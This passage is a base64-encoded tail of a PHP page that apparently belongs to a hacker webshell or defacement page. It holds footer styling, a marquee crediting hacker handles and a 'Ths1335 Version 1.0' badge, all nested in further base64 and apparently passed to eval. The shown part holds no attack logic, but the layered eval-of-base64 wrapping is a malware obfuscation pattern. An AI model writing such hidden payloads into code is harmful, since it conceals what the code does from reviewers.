CAgICAgICAgICAgZnJvbSB7DQogICAgICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogcm90YXRlKDBkZWcpOw0KICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgdG8gew0KICAgICAgICAgICAgICAgICAgICB0cmFuc2Zvcm06IHJvdGF0ZSgzNTlkZWcpOw0KICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmb290ZXIgew0KICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQogICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IDFweDsNCiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE1cHg7fSANCiAgICAgICAgICAgICAgICA8L3N0eWxlPg0KICAgICAgICAgICAgICAgICc7DQogICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICA8Zm9vdGVyPg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgZWNobyAnPGNlbnRlcj4nOw0KICAgICAgICAgICAgICAgICRmb290ZXJzID0gJ1BIQStQRzFoY25GMVpXVWdZMnhoYzNNOUlteGxkSFJsY2lJZ2QybGtkR2c5SWpnd0pTSStmRUZPVDA1WlRVbE9TRUZEU3pWOElDb2dmRlpGVGxWVFgwaEJXRTlTZkNBcUlIeEJUazlPVkVWTlNWUkJXVTk4SUNvZ2ZGTlFTVVJGVW53Z0tpQjhSRE5EVWxsUVZFOVNmRHd2YldGeWNYVmxaVDQ4TDNBK0lBPT0nOw0KICAgICAgICAgICAgICAgIGVjaG8gYmFzZTY0X2RlY29kZSgkZm9vdGVycyk7DQogICAgICAgICAgICAgICAgZWNobyAnPC9jZW50ZXI+JzsNCiAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgIDwhLS0NCiAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICRyb3RhdGluZyA9ICdJQ0E4YVcxbklITnlZejBpYUhSMGNITTZMeTlwYVd4cExtbHZMMWx3Y1hwWFp5NXdibWNpSUdOc1lYTnpQU0p5YjNSaGRHVWlJSGRwWkhSb1BTSXhNREFpSUdobGFXZG9kRDBpTVRBd0lpOCsnOw0KICAgICAgICAgICAgICAgIGVjaG8gYmFzZTY0X2RlY29kZSgkcm90YXRpbmcpOw0KICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAJLS0+DQogICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICBlY2hvICc8Y2VudGVyPic7DQogICAgICAgICAgICAgICAgJHNlbWlfY2lyY2xlID0gJ1BHUnBkaUJqYkdGemN6MGljMlZ0YVMxamFYSmpiR1VpUGp4aWNqNVVhSE14TXpNMUlEeGljajVXWlhKemFXOXVPanhtYjI1MElHTnZiRzl5UFNKeVpXUWlQakV1TUR3dlptOXVkRDQ4TDJScGRqND0nOw0KICAgICAgICAgICAgICAgIGVjaG8gYmFzZTY0X2RlY29kZSgkc2VtaV9jaXJjbGUpOw0KICAgICAgICAgICAgICAgIGVjaG8gJzwvY2VudGVyPic7DQogICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgPC9mb290ZXI+DQoNCiAgICAgICAgPC9ib2R5Pg0KPC9odG1sPjwhLS1bdHBzaXplPTddWy90cHNpemVdIC0tPg0K"));